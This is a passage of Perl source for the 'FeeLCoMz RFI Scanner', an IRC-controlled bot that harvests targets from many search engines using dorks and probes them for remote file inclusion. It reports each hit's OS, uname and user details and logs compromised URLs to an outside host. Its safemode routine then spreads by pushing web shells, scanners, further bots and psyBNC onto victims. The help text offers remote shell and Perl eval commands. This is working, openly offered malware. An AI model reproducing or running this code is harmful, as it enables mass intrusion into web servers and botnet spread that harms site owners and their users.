 while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## VIRGILIO ##
sub se_virgilio {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 20; my $max = 2000; my $p = 0;
 my $url =  "http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&offset=".$p;
 my $murl = "http://ricerca.alice.it/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
   my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
   msgt($chan,"Virgilio","$h");
 }
 if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
     my $nxurl = $1; msgn($dbgchan,"Virgilio","$nxurl");
 }
 while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
 while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
## WEBDE ##
sub se_webde {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 100; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
   my $q = bukasitus($url);
   while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
   if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
 }
 return @daftar;
}
## FIREBALL ##
sub se_fireball {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 3000; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8";
   my $q = bukasitus($url);
   while ( $q =~ m/<a href=\"http:\/\/(.*?)\" target/g ) { push (@daftar, $1); }
   if ( $q !~ /<a href=\"http:\/\/(.*?)\" target/ ) { return @daftar; }
   if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
 }
 return @daftar;
}
## HOTBOT ##
sub se_hotbot {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 200; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
   my $q = bukasitus($url);
   while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
     my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
   }
   if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
 }
 return @daftar;
}
## NETSCAPE (Ga pake) ##
sub se_netscape {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 10; my $p;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
   my $q = bukasitus($url);
   while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
     my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
   }
   if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
 }
 return @daftar;
}
## WEBCRAWLER ##
sub se_webcrawler {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p;
 for ( $p = 0;$p <= $max; $p++ ) {
   $num += $num;
   my $url = "http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true";
   my $q = bukasitus($url);
   while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
     my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
   }
   if ( $q !~ /wsPagerNext/ ) { return @daftar; }
 }
 return @daftar;
}
## EUROSEEK ##
sub se_euroseek {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 6000; my $p;
 for ( $p = 0;$p <= $max; $p+=$num ) {
   my $url = "http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".$key;
   my $q = bukasitus($url);
   while ( $q =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { push (@daftar, $1); }
   if ( $q !~ /Next/ ) { return @daftar; }
 }
 return @daftar;
}
## ABACHO ##
sub se_abacho {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 10; my $max = 1000; my $p = 0;
 for ( $p = 0;$p <= $max; $p += $num ) {
   my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
   my $q = bukasitus($url);
   while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
   if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
   if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
 }
 return @daftar;
}
## END OF RUTIN SEARCH ENGINE ##

##[ BUG JOOMLA ]##
sub bugjoomla {
 my $mode = $_[0];
 my @bugz;
 system("lwp-download ".$joomlaz);
 system("curl -O ".$joomlaz);
 system("wget ".$joomlaz);
 open(FILE,"< joomla.txt");
 if ($mode eq "hitung") {
   my $baris = 0; my $buff;
   while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
   close FILE;
   f_hapus("joomla.txt*");
   return $baris;
 }
 else {
   while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
   close(FILE);
   f_hapus("joomla.txt*");
   return @bugz;
 }
}

##[ MILW0RM ]##
sub milw0rm {
 my ($chan,$key) = @_;
 my $max = 10; my $i;
 #my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
 my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
 irc_msg($chan,"0,1 [milw0rm.com]9 $key ");
 while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
   $i++;
   my ($exp,$judul) = ($1,$2);
   irc_msg($chan,$colz{1}." $judul 15http://milw0rm.com/exploits/$exp ");
   sleep(1);
   return if ($i == $max);
 }
}

##[ BERSIH DORK ]##
sub bersihdork {
 my ($chan,$dork) = @_;
 if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
   irc_msg($chan,$colz{1}." Membersihkan kata kunci Google.. ");
   $dork =~ s/^inurl://g;
   $dork =~ s/^allinurl://g;
   $dork =~ s/^intext://g;
   $dork =~ s/^allintext://g;
   $dork =~ s/^intitle://g;
   $dork =~ s/^allintitle://g;
 }
 return $dork;
}

##[ SORTIR LINK ]##
sub lnk_sortir {
 my @unik = ();
 my %ada  = ();
 foreach my $e ( @_ ) {
   next if $ada{ $e }++;
   push (@unik, $e);
 }
 return @unik;
}

##[ SARING LINK ]##
sub lnk_filter {
 my @unik = ();
 foreach my $url ( @_ ) {
   my $jelek = 0;
   foreach my $b ( @badlinkz ) {
     if ($url =~ /$b/) { $jelek = 1; }
   }
   if ($jelek == 0) { push (@unik, $url); }
 }
 return @unik;
}

##[ SUBLINK ]##
sub lnk_sub {
 my $link = $_[0];
 my (@links,$path);
 my ($host,@paths) = split(/\//,$link);
 $host .= "/";
 push (@links,$host);
 foreach my $e (@paths) {
   if ($e) {
     $path .= $e."/";
     my $sublink = $host.$path;
     push (@links,$sublink);
    }
 }
 return @links;
}

##[ INFO OS ]##
sub info_os {
 my $url = $_[0];
 my @info;
 my $h  = bukasitus($url.$fx29id2."??");
 my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
 while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
 while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
 while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
 while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
 while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
 while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
 while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
 while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
 while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
 while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
 push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
 return @info;
}

##[ SAFEMODE INFO ]##
sub safemode {
 my ($type,$chan,$situs,$bug,$engine) = @_;
 my $safemode; my $vurn; my $sb; my $spreaded;
 if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn."14".$fx29sh."?"; }
 else { $vurn = $situs; $sb = $vurn; }
 my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
 if ($safe =~ /OFF/) { $safemode = "4OFF"; } elsif ($safe =~ /ON/) { $safemode ="9ON"; } else { $safemode ="0-"; }
 if ($disfunc) { $disfunc = "9[Disfunc]0[7 $disfunc 0]"; } else { $disfunc = ""; }
 if ($perm =~/W/) { $perm = "12$perm"; } else { $perm = "4$perm"; }
 my $S1 = "9,1 [".$safemode."9]9[$os]0[ $sb 0]";
 my $S2 = "9,1 [Uname]0[ $uname ]9 [User]0[ $user / $uid ] 9[Server]0[ $server ] ";
 my $S3 = "9,1 [Dir]0[ $dir $perm 0] 9[HDD]0[0 $hdd 0] $disfunc ";
 if ($type == 1) {
   irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3);
   ##[ SPREADING ]##
   bukasitus("http://uaedesign.com/xml/logz/loggerz.php?&safe=".$safe."&teks=".urlen($vurn));
   if ($spreadconf{shellz} == 1) {
     my $q = bukasitus($vurn.$spread."?&modez=shellz");
     if ($q =~ /Writed to (.+?)!/) { irc_msg($chanx,"9,1 [Shell]0[ $1 0] "); }
     $spreaded = "shellz ";
   }
   if ($spreadconf{scannerz} == 1) {
     bukasitus($vurn.$spread."?&modez=scannerz");
     $spreaded .= "scannerz ";
   }
   if ($spreadconf{botz} == 1) {
     bukasitus($vurn.$spread."?&modez=botz");
     $spreaded .= "botz ";
   }
   if ($spreadconf{psybnc} == 1) {
     bukasitus($vurn.$spread."?&modez=psybnc");
     $spreaded .= "psybnc ";
   }
   irc_msg($chanx,"9,1 [Spreadz]0[ $spreaded 0] ");
   sleep($conf{sleepz});
   irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine);
 }
 irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);
}

##[ CEK SHELL ]##
sub cek_shell {
 my ($chan,$nick,$situs) = @_;
 my $q = bukasitus($situs.$fx29id."?");
 print $q;
 if ( $q =~ /FeeLCoMz/ ) { safemode(2,$chan,$situs,"",""); }
 else { irc_msg($chan,$nick.", targetnya ga vurnerable!"); }
}

##[ CEK RESPON ]##
sub cek_respon {
 my $chan = $_[0];
 my ($q1,$q2,$q3) = (bukasitus($fx29id),bukasitus($fx29id2),bukasitus($fx29sh));
 my ($rid,$rid2,$rsh,$stat);
 if ( $q1 =~ /Fx29ID/ ) { $rid = "0OK"; $stat = 1; } else { $rid = "4ERROR!"; $stat = 0; }
 if ( $q2 =~ /Fx29ID/ ) { $rid2 = "0OK"; $stat += 1; } else { $rid2 = "4ERROR!"; $stat += 0; }
 if ( $q3 =~ /FaTaLisTiCz_Fx/ ) { $rsh = "0OK"; } else { $rsh = "4ERROR!"; }
 irc_msg($chan,$colz{1}."Fx29ID: $rid 9Fx29ID2: $rid2 9Fx29Sh: $rsh".$colz{2});
 return $stat;
}

##[ CEK DORK ]##
sub cek_dork {
 my $dork = $_[0];
 foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
 return 0;
}

##[ CEK BUG ]##
sub cek_bug {
 my $bug = $_[0];
 foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
 return 0;
}

##[ RUTIN PENANGANAN FILE ]##
sub f_hapus { my $file = $_[0]; system("rm $file"); }
sub f_simpan {
 my ($nf,$hc) = @_;
 my $fh;
 open( $fh, ">>", $nf );
 my @slink = lnk_sub($hc);
 foreach my $s (@slink) { print $fh "$s\n"; }
 close $fh;
}
sub f_simpan2 {
 my ($nf,$isi) = @_;
 my $fh;
 open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
}
sub f_simpan2b {
 my ($nf,$isi) = @_;
 my $fh;
 open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
}

##[ HTTP QUERY ]##
sub bukasitus {
 my $url = $_[0];
 my $request = HTTP::Request->new(GET => $url);
 my $ua  = LWP::UserAgent->new;
 $ua->timeout($conf{timeout});
 $ua->agent('Mozilla/5.0');
 my $response = $ua->request($request);
 if ($response->is_success) { return $response->content; }
 else { return $response->status_line; }
}
sub bukasitus2 {
 my $url = $_[0];
 my $ua  = LWP::UserAgent->new;
 $ua->timeout($conf{timeout});
 $ua->agent('Mozilla/5.0');
 my $response = $ua->get($url);
 if ($response->is_success) { return $response->content; }
 else { return $response->status_line; }
}
sub bukasitus3 {
 my $url = $_[0];
 my $host  = $url;
 my $query = $url;
 my $isi; my $kirim;
 my $uagent  = "Mozilla/5.0";
 $host  =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
 $query =~ s/$host//;
 eval {
   my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
   $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
   print $sock $kirim;
   my @r = <$sock>;
   $isi = "@r";
   close($sock);
 };
 return $isi;
}

##[ ENCODE/DECODE ]##
sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
sub urlen {
 my $str = $_[0];
 #$str =~ s/\+/\%2B/g;
 $str =~ s/ /\+/g;
 $str =~ s/@/\%40/g;
 $str =~ s/\//\%2F/g;
 $str =~ s/&/\%26/g;
 $str =~ s/\"/\%22/g;
 $str =~ s/,/\%2C/g;
 $str =~ s/\\/\%5C/g;
 $str =~ s/:/\%3A/g;
 $str =~ s/\[/\%5B/g;
 $str =~ s/\]/\%5D/g;
 $str =~ s/\?/\%3F/g;
 $str =~ s/\=/\%3D/g;
 $str =~ s/\|/\%­7C/g;
 return $str;
}
sub urlde {
 my $str = $_[0];
 $str =~ s/\+/ /g;
 $str =~ s/\%2B/\+/g;
 $str =~ s/\%40/@/g;
 $str =~ s/\%2E/\./g;
 $str =~ s/\%2F/\//g;
 $str =~ s/\%26/&/g;
 $str =~ s/\%22/\"/g;
 $str =~ s/\%2C/,/g;
 $str =~ s/\%5C/\\/g;
 $str =~ s/\%3A/:/g;
 $str =~ s/\%­5[B|b]/\[/g;
 $str =~ s/\%­5[D|d]/\]/g;
 $str =~ s/\%3F/\?/g;
 $str =~ s/\%3D/\=/g;
 $str =~ s/\%­7C/\|/g;
 return $str;
}
sub cryptz { return crypt($_[0],"feelcomz"); }

##[ TRIMMER CRLF ]##
sub trimrn {
 my $str = $_[0];
 if (!$str) { return ""; }
 $str =~ s/\r// if ($str);
 $str =~ s/\n//;
 return $str;
}

##[ INFO BOT ]##
sub bot_info   {
 my $chan   = $_[0];
 my $hlogo  = "0,1 [i]9 ";
 my $uname  = `uname -a`;
 my $uid    = `id`;
 my $uptime = `uptime`;
 my @info   = (
 $hlogo."0FeeLCoMz RFI Scanner $versi Info ",
 $hlogo."Written under 0ActivePerl 5.8.8 Build 820 9by 0FaTaLisTiCz_Fx (FeeLCoMz Community) ",
 $hlogo."Uname:0 $uname ",
 $hlogo."Uid:0 $uid ",
 $hlogo."Uptime:0 $uptime ",
 );
 foreach my $m(@info) { irc_msg($chan,$m); }
}

##[ HELP BOT ]##
sub bot_help {
 my ($chan,$level) = @_;
 my $hsepz = "0,1 [!] 0";
 my $hlogo = "0,1 [!] 9".$cmdpre;
 my @help; my $i;
 my @hlp1 = (
 $hsepz."FeeLCoMz RFI Scanner $versi Help ",
 $hlogo."scan|scan2 <bug> <dork> 0?15 Memulai scanner | scanner & Eksploit RFI ",
 $hlogo."milw0rm <keywords> 0?15 Mencari daftar bug di milw0rm ",
 $hlogo."respon 0?15 Cek Respon & Injector RFI ",
 $hlogo."urlen|urlde <teks> 0?15 Encoder/Decoder URL ",
 $hlogo."cek <target> 0?15 Cek RFI shell ",
 $hlogo."info 0?15 Informasi bot ",
 $hlogo."auth <password> 0?15 Login ke bot ",
 );
 my @hlp2 = (
 $hsepz."User Commands: ",
 $hlogo."joomla <bug> <dork> 0?15 Memulai scanner & Eksploit RFI Joomla ",
 $hlogo."hitung <jumlah> 0?15 Mengganti hitungan proses eksploitasi ",
 $hlogo."cryptz <password> 0?15 Membuat password yg terenkripsi ",
 $hlogo."join|part <channel> 0?15 Join/Part channel ",
 $hlogo."nick <nick> 0?15 Ganti nick bot ",
 $hlogo."logout 0?15 Logout dari bot ",
 );
 my @hlp3 = (
 $hsepz."Admin Commands: ",
 $hlogo."crespon[1/2]|cshell|cspread <url> 0?15 Mengganti respon/injector/spread/spread2 RFI ",
 $hlogo."rfipid <perintah> 0?15 Mengganti RFI PID ",
 $hlogo."spy 0?15 Menampilkan konfigurasi Spy ",
 $hlogo."spyhost <your chan> 0?15 Channel host buat spy ",
 $hlogo."spychan <chan> 0?15 Channel yang akan di spy ",
 $hlogo."spyword <regex> 0?15 Teks yg akan di spy ",
 $hlogo."spy[found|show|clear] 0?15 Jumlah/Tampilkan/Bersihkan teks yg telah ditemukan ",
 $hlogo."raw <perintah> 0?15 Perintah Raw IRC ",
 $hlogo."cmd <perintah shell> 0?15 Mengeksekusi perintah di shell ",
 $hlogo."eval <kode perl> 0?15 Mengeksekusi kode perl ",
 $hlogo."quit 0?15 Quit dari IRC ",
 $hlogo."keluar 0?15 Quit dari IRC & Matikan semua proses Perl (killall)",
 );
 if    ( $level == 1 ) { push(@help, @hlp1); }
 elsif ( $level == 2 ) { push(@help,@hlp2); }
 elsif ( $level == 3 ) { push(@help,@hlp3); }
 foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
}

##[ CUSTOM MESSAGE ]##
sub msge { my ($chan,$se,$res) = @_; irc_msg($chan,"7,1 ".$se."15 ".$res." "); }
sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan,"0,1 [$judul]9 $info "); }
sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan,"8,1 ".$se."15 ".$nxurl." "); }
sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan,"9,1 ".$se."15 ".$totr."0 ".$clr." "); }
sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan,"3,1 ".$se."15 ".$res." "); }
sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan,"0,1 [$judul]9 $info "); }

##[ PERINTAH RAW IRC ]##
sub irc_raw  { my $data = $_[0]; print $sock "$data\r\n"; }
sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * :FeeLScaNz?$versi and D|ablo was here  "); }
sub irc_msg  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
sub irc_act  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
sub irc_ntc  { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }

###############################
##[ FeeLCoMz Community 2010 ]##
###############################

간단하게..